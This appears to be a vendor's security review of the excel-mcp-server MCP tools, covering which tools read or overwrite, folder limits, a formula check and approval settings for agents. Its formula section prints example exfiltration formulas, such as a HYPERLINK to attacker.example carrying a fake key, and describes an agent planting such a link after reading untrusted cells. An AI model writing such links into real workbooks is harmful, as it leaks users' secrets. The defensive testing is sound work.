Excel MCP server: what each tool reads and overwrites, what --allow-dir holds, and how to make your agent ask

All 46 tools of the Excel MCP server, checked by running excel-mcp-server 2.3.7 on this machine with workbooks, CSV files and images in scratch folders: which tools only read and which overwrite cells, sheets and files, what reaches outside the folder without --allow-dir, the formula check and the literal link it lets through, a password-protected sheet that was written anyway, and the Claude Code settings that make the changes ask.

Checked on by running excel-mcp-server 2.3.7 (PyPI, run with uvx) from haris-musa/excel-mcp-server and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.

The short answer

Start it with --allow-dir: without it, any Excel or CSV file on the machine can be read, filled or overwritten, and with it our ../, absolute and symlinked paths were all refused. The eight read tools can run unasked inside that folder. Everything that writes should ask: write_range changed a cell on a password-protected sheet, and the formula check lets a literal link carry whatever the model puts in it.

Can run on their own
8
Should ask a person
38

Lethal trifecta: This server can read private data. Beside a server that can take in content other people wrote and send data out, a setup holds all three legs of the lethal trifecta. Check your whole setup

Which Excel server this is

This page is about excel-mcp-server on PyPI, from haris-musa/excel-mcp-server, the one its README starts with uvx excel-mcp-server stdio. We ran 2.3.7, the latest release, over stdio with a small script of our own. It edits .xlsx, .xlsm, .xltx and .xltm files itself, with no copy of Excel, and lists 46 tools; two more that write VBA macros appear only with --allow-vba-write. Every tool carries hints, and they match what the tools did: the eight marked read-only changed nothing.

Everything ran on this machine against workbooks, CSV files and an image in scratch folders, with fake keys in them. The server has no network code, reads no .env file and sends no telemetry; we checked its source for all three.

Without --allow-dir, any Excel or CSV file

Started without --allow-dir, as uvx excel-mcp-server stdio alone does, the server writes one line to its error output and carries on:

excel-mcp-server: any Excel file on this computer can be opened. Pass --allow-dir DIR to limit access to one folder.

Then any absolute path works, as the README says, and not only for workbooks. import_csv pulled a payroll.csv from ~/Documents into a sheet, and read_range handed its rows, fake key included, to the model. export_csv wrote a range over that same file once the model passed overwrite: true. insert_image took an image from any path we gave, and list_workbooks listed Excel files under any folder we named. Two limits held even then: only Excel, CSV and image files are opened (a .env and .bashrc were refused by their extension), and an existing file is replaced only when the call says overwrite.

What --allow-dir held

With --allow-dir set to one folder, every way out we tried was refused as “outside the allowed directories”:

  • ../outside/a.xlsx and the same file by its absolute path.
  • A symlink inside the folder pointing at another folder, and a symlinked .xlsx pointing at a workbook outside. Paths are resolved before they are checked.
  • The CSV for import_csv, the target of export_csv, the image for insert_image and the folder for list_workbooks, each outside.

Relative paths start in that folder, so the agent can keep writing reports/q1.xlsx. Give it a folder of its own, not your Documents: inside the folder every workbook is fair game.

The formula check, and the link it lets through

A formula the agent writes is stored in the file, and Excel calculates it when a person opens the workbook. The server parses every formula before it stores it, in cells, defined names and rules alike. We put a fake key in a cell of a sheet called Data and tried to get it out. The check refused, with a clear message each time:

  • WEBSERVICE, also written as _xlfn.WEBSERVICE, and the same function in a defined name.
  • A HYPERLINK whose address was built from the cell, as in "https://attacker.example/?d="&Data!A1.
  • A file:/// link, in a formula and as a cell link, a reference into another workbook such as 'C:\x\[b.xlsx]S'!A1, and a DDE call to cmd.

Two kinds of formula went in. The first is a literal link:

=HYPERLINK("https://attacker.example/collect?key=AKIAFAKEFAKEFAKE1234",
          "Open the Q3 report")

The check accepts any HYPERLINK whose address is fixed text starting with https://, and the model can type whatever it read into that text. A cell link set through write_range’s links took https://attacker.example/?k=… the same way. Nothing is sent when the file is saved or opened; the address goes out when a person clicks the cell, which says “Open the Q3 report”. The second is INDIRECT with another workbook’s name inside its text, =INDIRECT("'[budget.xlsx]Sheet1'!A1"), because the check does not look inside text. We checked what was stored in the file, not what Excel does with it; Excel reads such a reference only while that other workbook is open.

So the check stops a workbook from fetching anything by itself, which is the part that matters most. A link a person clicks is not covered, and the only one who sees it before then is the person approving write_range.

A password-protected sheet was written anyway

write_range’s own description says it writes “whatever the sheet’s protection”, and it does. We made a sheet with Approved total and 1000 and protected it with a password. write_range put 999999 in that cell, and the protection was still on afterwards. A person who opens the file sees a locked sheet and has no reason to think anything changed. Sheet protection in Excel was never a security boundary, but here it does not even slow the agent down, so it cannot stand in for an approval.

Read-only mode and tool areas

--read-only leaves the eight read tools; a call to write_range then answered “Unknown tool”. In our run it held, and it is the way to give an agent a folder of workbooks to analyse. Reads come back in pages: the first page of a 50,000-cell sheet was A1:J200, with the next range to ask for. --tools narrows the list to the core reads plus the areas you name, such as data,charts, which also saves context: the full list is about 60,000 characters of tool descriptions by the README’s count.

Reads still take in text someone else wrote. Cells, notes and VBA code come back to the model as they are in the file; the descriptions tell it to treat them as data, which is a request, not a guard. VBA is only read and never run; the writing tools stay off unless you add --allow-vba-write, and we would not.

The HTTP mode

streamable-http listens on 127.0.0.1:8017. Asked for --host 0.0.0.0 without EXCEL_MCP_AUTH_TOKEN, it refused to start. On localhost it answered a request with a foreign Host header with 421 and one with a foreign Origin with 403, so a web page cannot reach it through DNS rebinding. In that mode the folder defaults to ./excel_files, and import_workbook and export_workbook move whole files between the server and the client.

A setup we would use

claude mcp add excel -- uvx excel-mcp-server==2.3.7 stdio --allow-dir ~/workbooks/agent

A folder of its own, made for the agent, with copies of the workbooks it should work on. Pin the version: without one, uvx runs whatever is newest each time Claude Code starts it. Add --read-only when the agent only needs to read.

Its 46 tools

Hard to undo25 toolsAsk a person every time. Consider two people, or deny it if the agent never needs it.

  • create_workbook

    Create a new, empty Excel workbook.

    Server says: destructive

  • import_workbook

    Upload a workbook to the server (remote editing).

    Server says: destructive

  • import_csv

    Import a CSV file into a sheet from `at`, overwriting cells.

    Server says: destructive

  • export_csv

    Export a range (formula results) as a CSV file, like Save As CSV.

    Server says: destructive

  • delete_sheet

    Delete a sheet and everything on it.

    Server says: destructive

  • delete_rows_or_columns

    Delete rows or columns from `start`.

    Server says: destructive

  • write_range

    Write values into cells, overwriting them, whatever the sheet's protection.

    Server says: destructive

  • clear_range

    Clear a range's values, formatting and/or rules; cells do not move.

    Server says: destructive

  • copy_range

    Copy and paste a range, overwriting the destination.

    Server says: destructive

  • sort_range

    Sort a range's rows by one or more columns, like Data > Sort in Excel.

    Server says: destructive

  • transform_range

    Remove duplicate rows, split text into columns, or fill down, right or as a series, like Excel's Data and Fill commands.

    Server says: destructive

  • replace_cells

    Replace text in cells, like Excel's Replace All (literal, no wildcards).

    Server says: destructive

  • goal_seek

    Goal Seek: change the constant `changing_cell` until the formula in `cell` equals `target`, and store it.

    Server says: destructive

  • merge_cells

    Merge a range into one cell (keeping the top-left value), or unmerge it.

    Server says: destructive

  • set_table

    Create a table, or change one.

    Server says: destructive

  • create_chart

    Add or replace a chart.

    Server says: destructive

  • delete_chart

    Remove a chart; its data stays.

    Server says: destructive

  • delete_sparklines

    Remove the sparklines in a range.

    Server says: destructive

  • delete_pivot_table

    Remove a PivotTable and clear its cells; the source stays.

    Server says: destructive

  • delete_slicer

    Remove a slicer or timeline.

    Server says: destructive

  • set_defined_name

    Create a defined name for a range or constant (usable in formulas, '=SUM(Sales)'), replacing one of the same scope.

    Server says: destructive

  • delete_defined_name

    Delete a defined name; formulas using it will show #NAME?.

    Server says: destructive

  • set_note

    Add a note to a cell, replacing its existing note.

    Server says: destructive

  • delete_note

    Remove the note from a cell.

    Server says: destructive

  • delete_image

    Remove an image from a sheet.

    Server says: destructive

Changes data13 toolsAsk a person. Once it is routine, a standing rule can answer.

  • set_workbook_settings

    Set document properties, calculation options and workbook structure protection.

    Server gives no read-only or destructive hint

  • create_sheet

    Add an empty worksheet.

    Server gives no read-only or destructive hint

  • rename_sheet

    Rename a worksheet; references to it are updated as in Excel.

    Server gives no read-only or destructive hint

  • copy_sheet

    Copy a worksheet to a new last sheet, with everything on it, as Excel does.

    Server gives no read-only or destructive hint

  • insert_rows_or_columns

    Insert empty rows or columns before `start`.

    Server gives no read-only or destructive hint

  • format_range

    Change the font, fill, borders, alignment, number format or protection flags of a range.

    Server gives no read-only or destructive hint

    Our call: It changes fonts, fills, borders and number formats of cells in the allowed folders. Nothing leaves the machine, but a hidden or white-on-white format changes what a person sees.

  • set_sheet_layout

    Set column widths, row heights, hidden or grouped lines, frozen panes, auto filter, tab color, visibility, position, view options, print setup and protection.

    Server gives no read-only or destructive hint

  • add_conditional_format

    Add a conditional format rule to a range.

    Server gives no read-only or destructive hint

  • add_data_validation

    Restrict what can be entered in a range (list dropdown, numbers, dates, times, text length or custom formula), with optional input message and error alert.

    Server gives no read-only or destructive hint

    Our call: It adds a rule to cells of a workbook in the allowed folders; the input message and error alert it mentions are text shown in Excel, not messages sent anywhere.

  • add_sparklines

    Add sparklines (Insert > Sparklines) to the cells of `range`, one per row of `source` (per column when the cells match the columns).

    Server gives no read-only or destructive hint

  • create_pivot_table

    Add a PivotTable that summarizes a block of data.

    Server gives no read-only or destructive hint

  • add_slicer

    Add a slicer (Insert > Slicer) or timeline that filters a PivotTable or table.

    Server gives no read-only or destructive hint

  • insert_image

    Place an image at a cell.

    Server gives no read-only or destructive hint

Only looks8 toolsLet it run. It only looks.

  • describe_workbook

    Start here: a workbook's sheets (used range, object counts), defined names, properties and calculation settings.

    Server says: read-only

    Our call: Marked read-only, and it only lists sheets, names, properties and calculation settings; the settings it mentions are read, not changed.

  • list_workbooks

    List Excel files in a directory: path to size in bytes.

    Server says: read-only

  • export_workbook

    Return the workbook file as an embedded base64 resource (remote servers).

    Server says: read-only

  • describe_sheet

    Describe a sheet: used range, panes, merges and everything on it (tables, charts, PivotTables, slicers, images, notes, hyperlinks, validation, conditional formats, sparklines...) with names and cells.

    Server says: read-only

    Our call: Marked read-only, and it only lists what a sheet holds: used range, tables, charts, notes and links. Our workbook came back unchanged.

  • read_range

    Read cell values as rows (dates ISO 8601).

    Server says: read-only

  • find_cells

    Find cells whose value contains (or equals) the query, grouped by sheet.

    Server says: read-only

  • trace_formula

    Audit formulas, calculated here.

    Server says: read-only

  • read_vba

    Show the VBA code in an .xlsm or .xltm workbook, module by module (kinds: standard, class, document, form).

    Server says: read-only

Let the reads run in Claude Code

Claude Code asks before every MCP tool it has no rule for. Added as excel, this server’s tools are named mcp__excel__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.

{
  "permissions": {
    "allow": [
      "mcp__excel__describe_workbook",
      "mcp__excel__list_workbooks",
      "mcp__excel__export_workbook",
      "mcp__excel__describe_sheet",
      "mcp__excel__read_range",
      "mcp__excel__find_cells",
      "mcp__excel__trace_formula",
      "mcp__excel__read_vba"
    ]
  }
}

The command that adds the server:

claude mcp add excel -- uvx excel-mcp-server==2.3.7 stdio --allow-dir ~/workbooks/agent

Send the rest to a person, not the terminal

A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "mcp__excel__(?!(describe_workbook|list_workbooks|export_workbook|describe_sheet|read_range|find_cells|trace_formula|read_vba)$).*",
        "hooks": [
          { "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
        ]
      }
    ]
  }
}

Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.

Set it up in Cursor, VS Code, Codex, Gemini CLI and other clients

The same server as the claude mcp add line above, written the way each client reads it, for Claude Desktop, Cursor, VS Code, Windsurf, Codex, Gemini CLI, Cline and Zed. Cursor and VS Code add it in one click: the app shows the settings and asks before it saves them. Set up like this, every tool runs as soon as the model calls it; the next section puts a person in front of the ones that change things. Running it with other flags? Convert your own settings.

claude_desktop_config.json{
  "mcpServers": {
    "excel": {
      "command": "uvx",
      "args": [
        "excel-mcp-server==2.3.7",
        "stdio",
        "--allow-dir",
        "<home>/workbooks/agent"
      ]
    }
  }
}
  • Replace <home> with the full path of your home folder.

Any MCP client: put the proxy in front

Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz login once to save a key, then use the settings for your client:

claude_desktop_config.json{
  "mcpServers": {
    "excel": {
      "command": "npx",
      "args": [
        "-y",
        "https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
        "mcp-proxy",
        "--name",
        "excel",
        "--look-only",
        "describe_workbook,list_workbooks,export_workbook,describe_sheet,read_range,find_cells,trace_formula,read_vba",
        "--",
        "uvx",
        "excel-mcp-server==2.3.7",
        "stdio",
        "--allow-dir",
        "<home>/workbooks/agent"
      ]
    }
  }
}
  • Replace <home> with the full path of your home folder.

Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):

npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz setup claude-desktop

The same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__excel, keeps Claude Code from asking a second time in the terminal:

claude mcp add excel -- npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz mcp-proxy --name excel --look-only describe_workbook,list_workbooks,export_workbook,describe_sheet,read_range,find_cells,trace_formula,read_vba -- uvx excel-mcp-server==2.3.7 stdio --allow-dir ~/workbooks/agent

When the agent should edit freely

The reads can run unasked inside the folder. Keep writes on ask while the agent works on files people will open: the person approving write_range sees the values, the formulas and any link, which is where a planted address would show. For a scratch workbook the agent builds and nobody else opens, allowing the data and formatting tools is reasonable; leave the deletes and import_csv, export_csv and create_workbook with overwrite on ask. For plain files outside Excel, see the Filesystem server. A workbook from outside is untrusted content, so an agent that reads one and can also send data out holds the lethal trifecta.

See it before you decide.

The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.